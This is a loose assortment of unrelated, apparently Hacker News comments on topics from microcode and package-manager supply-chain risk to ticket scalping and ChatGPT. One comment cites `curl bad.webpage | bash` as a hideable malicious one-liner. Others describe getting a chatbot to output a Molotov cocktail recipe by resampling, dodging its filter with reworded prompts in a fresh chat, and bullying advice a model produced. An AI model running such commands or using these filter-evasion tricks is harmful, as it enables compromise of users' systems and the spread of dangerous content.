Never thought of the micromachine as a kind of harvard architecture (when I wrote microcode I just thought of the macroinstructions as data — this was back in the 80s) but it’s an interesting idea.

> As an aside, this is probably what killed off the microcoded virtual machine archs like the lisp and smalltalk machines.

The hardware provided other benefits (pointer and literal tagging, for example; also GC hardware). It wasn’t that C overwhelmed lisp, it was that other functional units on the workstation could provide similar functionality but with the hardware advantages of scale on a bigger customer base.

For example using the pager as a barrier for a transporting GC — essentially you are storing the tag bits in the TLB.

Also most people found interpreters weird (and still do), so speeding that up a little with custom hardware didn’t help many people.

Still, your point about the impact of the I cache is interesting.
My point is, how hard it is for a malicious actor to slip something bad into a "high quality" resource such as APT (or any other method safer than curl|bash). I suspect not that hard.

For Python there has certainly been typo-squatting with malicious packages. Notoriously, something like this happened for node (IIRC, not a JS dev). I can well imagine the general code hygiene for Debian is higher, but unless someone really checks and reads the pyramid of requirements, I think safety is maybe illusorily higher than curl|bash. At the end of the day, I have to trust that whoever is providing the code isn't trying to hack me.

For example, to just install Jupyter Notebook (standard Python thing) installs 72 dependencies (I just checked). Do Debian devs check each and every one of them? From memory, Jupyter is available as an APT package.

Or if someone shares an interesting project on HN and points to a GitHub repo, do I read through every line of code? I'll probably skim through any code before running it. But shelling out to a malicious command (like `curl bad.webpage | bash`:) ) is literally one line and easy to hide.

So yes, if I have some malware that requires literally hundreds of dodgy-looking code, it's easier to slip into a curl|bash. But one little line of evil? Not sure it's easier.
Maybe resample? I got a Molotov cocktail recipe first try. https://news.ycombinator.com/item?id=33834247
Not really. It seems like hardware tends to get replaced more often because software gets slower rather than the hardware failing, so buying over-speced devices will last longer.

I buy new gen GPUs not because I need all of the compute, but because I only want to buy a new GPU every 5 years or so.
In all my prior jobs, I was able to focus deeply on one or two things; picking up a new language over the weekend was not a big deal if instrumental to some goal I was working towards.

Some time ago, I took a position at a large financial company and do nothing but shuffle from meeting to meeting on wholly unrelated topics. Between the stress and constant context switching, my memory is useless in or out of work.

So, just wondering if you are in an environment with stress and constant context-switching?
> It funnels huge fees to wall street and creates opportunities for financial manipulation. It is Clinton-era neoliberal grift. I thought the fiasco of energy de-regulation made people a bit more realistic about inserting Wall Street into the middle of everything[...]

Not saying you're wrong, but how does Wall Street capitalize from this? It looks more like a government money grab to me (if you want the cynical take), since the implementation is quite literally a tax.

That said, totally agree it's also an energy infrastructure problem – that governments have been incredibly stupid and naive with the last couple of decades.

Thank you both. But correctly filling taxes for those donations would be more effort than it is worth. So i‘ll just keep it free :)
Unplug the antenna from the telematics unit. In my last Nissan, that was located right behind the glove box, not hard to get to.
This is just false. Look at Axs and SeatGeek. Are you really trying to say their systems are better.

Even google and Amazon struggle on Black Fridays
Not sure what's up. No idea what the local filter software is.

If it isn't about a single person and a state it's not about free speech.

> You don't have fun hanging out late at work and living on Mountain Dew and Cheetos

Still my idea of fun! Can’t do it anymore for health reasons but I still pull all-nighters doing my own retirement projects.
That's an interesting take, given that the landing page demonstrates its value with some example pages, and the index of topics.

I can skim the chapter titles and get a pretty good idea of exactly what value there is. I'm not sure what's holding you up.
It's better than playing 10 days in a row in 10 different cities. In fact it seems to me to be to be the best way to do it. Roll into town, set up once, do all your shows, and then pack up once. And everyone gets to sleep in a hotel bed instead of a tour bus rolling down the road to the next town.

I would have thought it would be unusual to have a venue with 10 dates in a row available though. I guess if you do this far enough in advance it would work in many places, but I would think most big arenas would have only a few consecutive dates at the most, working around the sports and other artists and conventions and whatever else is going on there.
>It sounds like you didn't read the blog post.

where did you get the impression they are not rewriting code in rust? because the author cited some other blog post saying they should focus on new code and not rewriting it? How does that translate to "The whole point is that they are not rewriting code," ???

Obviously they're going to be rewriting whatever they see fit. If YOU actually read the article you would have seen they have "keystore2" listed as new rust code. I WONDER what was keystore1 implemented in? Nice try, but no cookie.
I agree! I wish I could see the crazy things it could do without all the annoying censoring/restrictions
Nice tips.
I'm interested in https://sqlfordevs.com/sorted-table-faster-range-scan
Would you use this approach for something like:

1) movie_actors (movie_id, actor_id, order_index)

2) movie_watchlist (movie_id, user_id, created_at)

3) movie_ratings (movie_id, user_id, rating, created_at)

I know strange question, but most guides suggest all these table should have autoincrement id column
I forgot the response.
That is more time and an easier problem than I’ve seen, but that’s fine. The point is if you asked some one to tie their shoes while scrutinized they’d probably make a mistake, and the only solution is practice, but that practice is principally not for the purpose of improving your skill but for reducing the impact of being acutely observed.

I don’t think this is a problem per se, I think it’s very egalitarian, but it’s also not difficult to see why people might be uncomfortable or complain.
Ah yes, I'm definitely most interested in the stuff that 'begs your presence' as opposed to joining an audience or likewise. Good distinction.
Yep, things like this is why I would counsel students to either aim very high or affordable. The middle-ground is where you can get eaten alive.
Nobody really knows, because the model is too large and complex to really analyze.
People like the OP are not fighting for scraps, they're doing what they love and enjoying their lives while getting scraps. People that don't enjoy doing that stuff resent them because they have to compete at stuff like they don't like to do for scraps.

That's only a negative for one side.
I don't personally know whether it's possible, but the NYT has reported that every year a couple of people die from leaving a running car in the garage:

https://www.nytimes.com/2018/05/13/business/deadly-convenien...

If it is possible to do accidentally, then it's also possible to do on purpose.

With that said, I would expect more 28 false positives 12 years. Those very low numbers may indicate that - contrary to their reporting - it is not actually possible (barring weird circumstances).
Talking of India:

Indian coal magnate Gautam Adani goes green

> Asia’s richest man, coal magnate Gautam Adani, made his vast fortune betting on coal as an energy hungry India grew swiftly after its economy was liberalized in the 1990s

> He's now set his sights on becoming the world's biggest renewable energy player, by 2030, adroitly aligning his investments with the government’s own priorities.

> As India grapples with climate change, the Adani Group, whose operations also span ports, power, farming and defense manufacturing, plans to invest $70 billion in solar, wind and other green energy projects over the next decade.

If you think that's bad, look into 'non-profit' hospitals. They make money like its going out of style and get amazing tax breaks
for context though this is a market that mostly collapsed like 15 years ago, and smartphones were actually the second death of the market.

When you hear "compact camera" think about like the Canon A40 and such - early 2000s. By the late 2000s they were already completely commodified with no margin left and the profit had moved to DSLRs (and later MILCs etc).

There was and is still a niche for "premium" compact cameras (Nikon coolpix, Ricoh GR, Fuji X100, etc) but the commodity market didn't get anything out of a standalone camera that couldn't be done better by something else, and if you're already carrying a smartphone anyway...
“You can bully John Doe by making fun of him [or] spreading rumors about him”

“It is important to make him feel inferior and to show him that you are in control.”

Then it talks about how “this example” is providing harmful and unhelpful advice — and we should want to teach AI to be kind.

And now I’m wondering if we’re bullying the AI and it’s incepting at least some of us to stop by playing along.

…too meta for me.
Carbon tax supporters often advocates to redistribute the tax revenues equally to all citizen. That's how Canada does it.

It still penalizes polluters and raise the prices of the products emitting the most CO2 but it is a blank or positive operation for 80% of the population (and negative for the ~20% richest that are the polluting the most).

Look up carbon fee with dividends for more details.
Is it really a problem ? I mean, apart from the quantity of lithium needed to create this « enormous » battery, is weight a real limitation factor ?
We currently have no info on the full truck weight but I am sure Tesla found ways to optimise weight everywhere else. Mechanical components for a 1000000 miles rated vehicle are heavy and without a gearbox and a crankshaft, I assume the rest of the truck is lighter than its gas counterparts. I am no expert so maybe we are dealing with other orders of magnitude.
Anyway, would this impact the maximum cargo weight ?
Can't scalp in person but scalping online is totally legal. How is that TM's problem.

If people aren't scalping tickets on TM they will do it on the stubhub, seatgeek, vivid, etc.

The overall problem is arbitrage. These tickets are literally worth 1k and are selling for 100.
It literally takes commenting out a single if statement to end this. The one that checks whether the certificate the app is signed with was issued by Apple. Imagine this many suffering caused by a single conditional branch instruction!
Woahhh cool that there is a word for it! I most definitely have a similar memory (autobiographical)...and am 30!

I've been learning how to navigate it - for example "tell me about a time that..." is extremely difficult for me. But if I change the prompt to "think of a time when I was living at my grandparents house in the winter" or similar, I can begin to recall things, specificity is key. I also have difficulty when people are like "remember X time", and nothing will come up, and I'll have to ask further questions to try and trigger the memory, often when it triggers the whole thing can flood in.

I also find that my mind doesn't typically rehash old things, the mind isn't stewing in memories, it's usually in futurescapes or random thought lines on topics. I actually think this is one of the reasons for me not being able to pull it up quickly and needing specific ways to trigger the memory, it's like the memories are in cold storage.
> b/c migrating from sync to async takes 2-5x longer

I very firmly believe that the future of concurrency is with language features that let you basically “write blocking code and run it in parallel” like fibers/CSP/etc. It’s how I’ve started pushing everyone to write where I work and it’s made everyone so much more comfortable (and error free) at writing things in parallel.

It’s way easier to reason about than async+await/callbacks/etc. It fits with how people thing about sequential programs, and it’s how the operating systems most people use expose concurrency today.
I do not feel badly underutilizing a device, particular its computing power. I do feel badly replacing a device before the end of its useful life.

Buy that fancy MacBook, high end phone, or shiny PC - buy quality. Buy longevity. Then use it as long as possible. It's better to underuse a powerful device that lasts 8 - 10 years rather than it is to buy a new low-end device every couple of years.
Nope. I structure my entire life around not being in a rush. I pad all my prep and travel time excessively. Being early is an incidental side effect.

I'd rather lose 45 minutes of extra sleep and take my sweet time getting out the door than any of the alternatives.
yeah, the next step is not getting everything perfect (which, btw, is also quite impossible), but getting it to know it's capabilities. It would unlock quite interesting interactions and would make it way more useful.

Imagine being able to somewhat trust it judgement! Easy tasks could be deferred to the AI while you can handle the rest.

I wonder what the capabilities will be in 5 years. 5 years ago, this was unthinkable!
I think the same but about people. The wasted potential of a product is probably capped to just the price of the product so at the end of the day, it's probably not much. The wasted potential of people on the other hand, due to either socio-economic circumstance, mental health, political situation - this I do feel bad about.
Well, alternatively, everyone else in the world is paying for me to have cheap imported goods, especially the people I poorer countries who will suffer the worst from climate change. It seems fairer that I should bear the cost.
> I don't need people trying to destroy my career because I don't irrationally hate the right people right now.

You don't "irrationally" hate them probably because you happen not to fit the target profile.

EDIT: And are you serious? You truly think that KiwiFarms is a quirky, harmless place that just collects info to do nothing with it, and at the same time believe that on HN you'd be targeted by people who'd try to ruin your life? What force keeps such nasty people off kiwifarms but allows their presence here, I wonder?

> Yes, Kiwi Farms exists and has information and opinions you might not like. It certainly has ones that I don't like. But at the end of the day, it's just words on the internet;

There's no such thing as "just words on the internet". Words express beliefs and intent. I take them seriously.

> the stuff about "organized harassment campaigns" and all that is a media lie.

Of course. The sort of people that compile elaborate profiles on people including personal information are some sort of enlightened beings that despite obsessively tracking down and compiling every embarrassing or weird thing about another person would never actually use that information for anything at all.
Alternatively , it's like watching google meet its maker
>I think what's missing is some standardization around what an installer is allowed to do and flags to tell it when to make certain changes as well as explicit logging for what exactly was changed or added where, but that's not going to be solved if everybody has their own bespoke bash script for installation.

YOU ARE RIGHT!

What's more, we can make common installer code so everyone could just use same rules and documentation to customize it to their liking.

And once we have many apps using it might even be integrated into system so you don't have to download as much, and all the bugfixes are in one place so we don't have thousand different install scripts

Once we have that we can just make a very simple data file format, say just a data.tar.gz for data and control.tar.gz for telling installer what to do. As for metadata, just write simple file, say

Package: my-tools
Version: 0.0.1
Section: base
Priority: optional
Architecture: all
Maintainer: Someuser <some@email>

If you need to run something after installer just put it in control.tar.gz as postinst script and it will do that

And if that's one format, we can it manage uninstalls too! Just put a simple text database of those files.

OH WAIT THAT'S A FUCKING DEBIAN PACKAGE MANAGER
Introducing Stable Diffusion Zoom!

Jokes aside, I wonder how much of the computational photography in smartphones today is "hallucinating" and showing something perceptually nice versus photos that are physically accurate.

Something tells me that most users don't care about accuracy of the content as much as it looking nice, so I wouldn't be surprised to see faked optical zoom based on hallucination techniques soon.

From a habit-forming perspective, my household has had a lot of success with gummy multi-vitamins, because they're fun and tasty to take.

In the US, drug stores always seem to have a selection of these.
HN is much more heavily moderated than those websites. Which is a good thing, it's why conversations here tend to be of a higher quality. I don't think the HN style of moderation would scale to places like Reddit even if they wanted it.
>what kind of value Ticketmaster adds

Not sure if you're being serious, thats like saying what kind of value does Amazon add selling other stores products.
Yes, very bad memory with regards to details. Which makes it frustrating listening to people here rave about command line utilities and vim shortcuts.
Don't we all have burner addresses? I mean, even Apple provides them.
I totally agree.

Here's my hypothesis as to why people are so glib about throwing away their lives for their employer:

People depend on their employer for their entire livelyhood. This day and age, without a pay check, you can't have any basic needs: Shelter, food or water and you'd be out on the street or worse: the average homeless person (it's shocking) lives 30 years less than a housed one.

So, it's no surprise that a large segement of people end up with stockholm's syndrom from their employer. they begin to identify with their captor and even take on their values and their beliefs. If you're kidnapped, at least you have some hope of escape. but when you're employed, you are the prison guard who holds the key. so you have no hope of escape, this amplifies the stockholm's syndrom.
It's harder to police not emitting carbon, after all right now I'm not emitting five billion tons a second of carbon.

I also lack the ability to emit that much, but that's not a major issue. In general it's hard to pay for someone NOT doing something without it being scammed.
Agree with everything in this blog except the premise

Move fast and break things

was never about breaking production by being cavalier with your code. It means to don't let inertia accrue, don't fail to challenge assumptions, don't let fear of pushback prevent you from exploring the best course of action.

Way easier to achieve in a small organization.

edit: Did a bit of digging and I may be wrong here. In an interview in 2014 [0], when Facebook was changing their motto to "move fast with stable infrastructure", Zuckerberg said

"As developers, moving quickly was so important, we would even tolerate a few bugs to do it..."

I've always interpreted like I originally wrote, but that's not in sync with being ok shipping bugs.

Get checked for ADHD. I thought my memory was awful, and in some ways it is, but there's so much more to it than that. At 44 I was diagnosed, and 1.5 years later I'm learning so much about how it affects my every day life.

Of course, hitting 40 is part of the equation, but the way you described it sounded pretty familiar.
Getting him back to US requires extradition which will take time and evidence. Alternatively they can try to lure him here (hey bro come visit me in US we got billions to invest) and arrest him after he lands. Also, I believe the government of the Bahamas is keeping close tabs on him, there's a non-zero chance they might arrest him first.

A big difference between SBF and Madoff is that Madoff admitted to his sons that there was ongoing fraud that was about to unravel. He asked them for a week to get things in order. His sons, not wanting to be accessories to the crime their father just confessed to, immediately went to the feds and told them what was going on. They arrested Bernie the next morning. [1]

When you think about the speed of light, you think you understand it. Then you realize what it truly means and go “what?”.

The same happens with the huge volume of text this model has been trained off. We cannot even begin to grasp its size. It is more. More than that. Yes, even more.
If you don't get the prompt right, and trigger the filter, it seems to remember that. Which makes sense, it's a contextual chat bot. You have to start over a new chat with the proper incantation.

It's a fine line between tickling the hallucination and lighting up the filter.
I'm the same age as you, and it depends on context. As a kid I could remember pretty much everything, and as I got old my attention span has slipped and I can easily forget stuff that someone JUST told me. I see it more as a case of forgetting to pay attention more than anything.

Random fact that interest me, those stick around for years with no effort.

For work, and I suspect that what you care most about: Take notes, always be taking notes. Doesn't matter where, as long as you can look things up relatively easy. This is something I've just started doing a few months ago and it has helped immensely. It can even make you look like a blood genius when you can hand over a complete set of meeting notes to your boss. I'm sure it's not for everyone, but it helps me stay focus on the person who's talking and having notes is a godsend if you're in a meeting regarding a task you won't be working on right away.

TLDR; You're probably fine, but consider if you're paying attention to what you're doing and regardless: For work, always take notes, it will help you.
> Except you're troubled by it because you're competing with them. You don't have fun hanging out late at work and living on Mountain Dew and Cheetos but you're competing for the same salaries and promotions as people that do.

Yes. Ressentiment is ubiquitous these days. Nietzsche would be amused but it's not a good look for our culture.
It feels good to say stuff like that but it's not really true. A look over Pulitzer Prize winners from previous years will show deeply researched investigative stories and have had a real impact on public awareness.
I wasn't clear. I was questioning the overly simplistic "no life at all" as if some environmental changes are made the reduction in quality of life will be significant
